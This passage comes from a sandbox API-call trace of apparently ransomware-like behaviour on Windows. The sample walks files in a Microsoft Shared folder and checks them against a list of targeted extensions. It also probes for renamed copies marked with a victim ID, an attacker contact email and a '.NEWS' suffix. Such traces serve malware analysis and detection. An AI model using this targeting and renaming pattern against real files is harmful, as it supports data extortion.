lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.644] lstrlenW (lpString=".dbf") returned 4 [0209.644] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.644] lstrlenW (lpString=".1cd") returned 4 [0209.644] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.644] lstrlenW (lpString=".jpg") returned 4 [0209.644] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.645] lstrlenW (lpString=".doc") returned 4 [0209.645] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.645] lstrlenW (lpString=".docx") returned 5 [0209.645] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0209.645] lstrlenW (lpString=".pdf") returned 4 [0209.645] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.645] lstrlenW (lpString=".xls") returned 4 [0209.646] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.646] lstrlenW (lpString=".xlsx") returned 5 [0209.646] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0209.646] lstrlenW (lpString=".ppt") returned 4 [0209.646] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.646] lstrlenW (lpString=".zip") returned 4 [0209.646] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.646] lstrlenW (lpString=".rar") returned 4 [0209.646] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0209.646] lstrlenW (lpString=".bz2") returned 4 [0209.646] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0209.647] lstrlenW (lpString=".7z") returned 3 [0209.647] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0209.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.647] lstrlenW (lpString=".dbf") returned 4 [0209.647] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.647] lstrlenW (lpString=".1cd") returned 4 [0209.647] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0209.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0209.647] lstrlenW (lpString=".jpg") returned 4 [0209.647] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0209.648] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0209.648] lstrlenW (lpString="ipsnld.xml") returned 10 [0209.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0209.649] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2626) returned 1 [0209.649] CloseHandle (hObject=0x288) returned 1 [0209.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0209.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0209.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0209.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0209.650] lstrlenW (lpString=".doc") returned 4 [0209.650] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0209.650] lstrlenW (lpString=".docx") returned 5 [0209.650] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0209.650] lstrlenW (lpString=".pdf") returned 4 [0209.650] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0209.650] lstrlenW (lpString=".xls") returned 4 [0209.650] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0209.650] lstrlenW (lpString=".xlsx") returned 5 [0209.650] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0209.650] lstrlenW (lpString=".ppt") returned 4 [0209.650] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0209.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0209.651] lstrlenW (lpString=".zip") returned 4 [0209.651] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0209.651] lstrlenW (lpString=".rar") returned 4 [0210.266] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0210.266] lstrlenW (lpString=".bz2") returned 4 [0210.267] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0210.267] lstrlenW (lpString=".7z") returned 3 [0210.267] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0210.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.267] lstrlenW (lpString=".dbf") returned 4 [0210.267] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0210.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.267] lstrlenW (lpString=".1cd") returned 4 [0210.267] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0210.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.267] lstrlenW (lpString=".jpg") returned 4 [0210.267] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0210.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.268] lstrlenW (lpString=".doc") returned 4 [0210.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0210.268] lstrlenW (lpString=".docx") returned 5 [0210.268] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0210.268] lstrlenW (lpString=".pdf") returned 4 [0210.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0210.268] lstrlenW (lpString=".xls") returned 4 [0210.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0210.268] lstrlenW (lpString=".xlsx") returned 5 [0210.268] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0210.268] lstrlenW (lpString=".ppt") returned 4 [0210.269] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0210.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.269] lstrlenW (lpString=".zip") returned 4 [0210.269] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0210.269] lstrlenW (lpString=".rar") returned 4 [0210.269] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0210.269] lstrlenW (lpString=".bz2") returned 4 [0210.269] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0210.269] lstrlenW (lpString=".7z") returned 3 [0210.269] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0210.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.269] lstrlenW (lpString=".dbf") returned 4 [0210.269] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0210.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.270] lstrlenW (lpString=".1cd") returned 4 [0210.270] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0210.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0210.270] lstrlenW (lpString=".jpg") returned 4 [0210.270] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0210.270] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0210.270] lstrlenW (lpString="ipsptb.xml") returned 10 [0210.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0211.073] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2246) returned 1 [0211.073] CloseHandle (hObject=0x240) returned 1 [0211.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0211.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0211.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.074] lstrlenW (lpString=".doc") returned 4 [0211.074] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.074] lstrlenW (lpString=".docx") returned 5 [0211.074] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0211.074] lstrlenW (lpString=".pdf") returned 4 [0211.074] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.074] lstrlenW (lpString=".xls") returned 4 [0211.074] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.075] lstrlenW (lpString=".xlsx") returned 5 [0211.075] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0211.075] lstrlenW (lpString=".ppt") returned 4 [0211.075] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.075] lstrlenW (lpString=".zip") returned 4 [0211.075] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.075] lstrlenW (lpString=".rar") returned 4 [0211.075] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.075] lstrlenW (lpString=".bz2") returned 4 [0211.075] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.075] lstrlenW (lpString=".7z") returned 3 [0211.076] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.076] lstrlenW (lpString=".dbf") returned 4 [0211.076] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.076] lstrlenW (lpString=".1cd") returned 4 [0211.076] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.076] lstrlenW (lpString=".jpg") returned 4 [0211.076] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.077] lstrlenW (lpString=".doc") returned 4 [0211.077] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.077] lstrlenW (lpString=".docx") returned 5 [0211.077] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0211.077] lstrlenW (lpString=".pdf") returned 4 [0211.077] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.077] lstrlenW (lpString=".xls") returned 4 [0211.077] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.077] lstrlenW (lpString=".xlsx") returned 5 [0211.077] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0211.077] lstrlenW (lpString=".ppt") returned 4 [0211.077] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.078] lstrlenW (lpString=".zip") returned 4 [0211.078] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.078] lstrlenW (lpString=".rar") returned 4 [0211.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.078] lstrlenW (lpString=".bz2") returned 4 [0211.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.078] lstrlenW (lpString=".7z") returned 3 [0211.078] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.078] lstrlenW (lpString=".dbf") returned 4 [0211.078] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.078] lstrlenW (lpString=".1cd") returned 4 [0211.079] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0211.079] lstrlenW (lpString=".jpg") returned 4 [0211.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.079] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0211.079] lstrlenW (lpString="ipsptg.xml") returned 10 [0211.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0211.080] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2240) returned 1 [0211.080] CloseHandle (hObject=0x240) returned 1 [0211.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0211.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0211.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.081] lstrlenW (lpString=".doc") returned 4 [0211.081] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.081] lstrlenW (lpString=".docx") returned 5 [0211.082] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0211.082] lstrlenW (lpString=".pdf") returned 4 [0211.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.082] lstrlenW (lpString=".xls") returned 4 [0211.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.082] lstrlenW (lpString=".xlsx") returned 5 [0211.082] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0211.082] lstrlenW (lpString=".ppt") returned 4 [0211.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.082] lstrlenW (lpString=".zip") returned 4 [0211.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.082] lstrlenW (lpString=".rar") returned 4 [0211.083] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.083] lstrlenW (lpString=".bz2") returned 4 [0211.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.083] lstrlenW (lpString=".7z") returned 3 [0211.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.083] lstrlenW (lpString=".dbf") returned 4 [0211.083] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.083] lstrlenW (lpString=".1cd") returned 4 [0211.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.083] lstrlenW (lpString=".jpg") returned 4 [0211.084] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.084] lstrlenW (lpString=".doc") returned 4 [0211.084] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.084] lstrlenW (lpString=".docx") returned 5 [0211.084] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0211.084] lstrlenW (lpString=".pdf") returned 4 [0211.084] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.084] lstrlenW (lpString=".xls") returned 4 [0211.085] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.085] lstrlenW (lpString=".xlsx") returned 5 [0211.085] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0211.085] lstrlenW (lpString=".ppt") returned 4 [0211.085] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.085] lstrlenW (lpString=".zip") returned 4 [0211.085] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.085] lstrlenW (lpString=".rar") returned 4 [0211.085] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.085] lstrlenW (lpString=".bz2") returned 4 [0211.085] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.086] lstrlenW (lpString=".7z") returned 3 [0211.086] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.086] lstrlenW (lpString=".dbf") returned 4 [0211.086] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.086] lstrlenW (lpString=".1cd") returned 4 [0211.086] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0211.087] lstrlenW (lpString=".jpg") returned 4 [0211.087] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.088] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0211.088] lstrlenW (lpString="ipsrom.xml") returned 10 [0211.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0211.088] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2644) returned 1 [0211.088] CloseHandle (hObject=0x240) returned 1 [0211.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0211.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0211.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.089] lstrlenW (lpString=".doc") returned 4 [0211.089] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.089] lstrlenW (lpString=".docx") returned 5 [0211.089] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0211.090] lstrlenW (lpString=".pdf") returned 4 [0211.090] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.090] lstrlenW (lpString=".xls") returned 4 [0211.090] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.090] lstrlenW (lpString=".xlsx") returned 5 [0211.090] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0211.090] lstrlenW (lpString=".ppt") returned 4 [0211.090] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.090] lstrlenW (lpString=".zip") returned 4 [0211.091] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.091] lstrlenW (lpString=".rar") returned 4 [0211.091] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.091] lstrlenW (lpString=".bz2") returned 4 [0211.091] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.091] lstrlenW (lpString=".7z") returned 3 [0211.091] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.091] lstrlenW (lpString=".dbf") returned 4 [0211.091] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.091] lstrlenW (lpString=".1cd") returned 4 [0211.091] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.092] lstrlenW (lpString=".jpg") returned 4 [0211.092] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.092] lstrlenW (lpString=".doc") returned 4 [0211.092] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.092] lstrlenW (lpString=".docx") returned 5 [0211.092] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0211.092] lstrlenW (lpString=".pdf") returned 4 [0211.092] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.093] lstrlenW (lpString=".xls") returned 4 [0211.093] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.093] lstrlenW (lpString=".xlsx") returned 5 [0211.093] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0211.093] lstrlenW (lpString=".ppt") returned 4 [0211.093] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.093] lstrlenW (lpString=".zip") returned 4 [0211.093] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.093] lstrlenW (lpString=".rar") returned 4 [0211.093] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.093] lstrlenW (lpString=".bz2") returned 4 [0211.093] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.094] lstrlenW (lpString=".7z") returned 3 [0211.094] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.094] lstrlenW (lpString=".dbf") returned 4 [0211.094] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.094] lstrlenW (lpString=".1cd") returned 4 [0211.094] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0211.094] lstrlenW (lpString=".jpg") returned 4 [0211.094] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.095] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0211.095] lstrlenW (lpString="ipsrus.xml") returned 10 [0211.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0211.097] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2542) returned 1 [0211.097] CloseHandle (hObject=0x240) returned 1 [0211.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 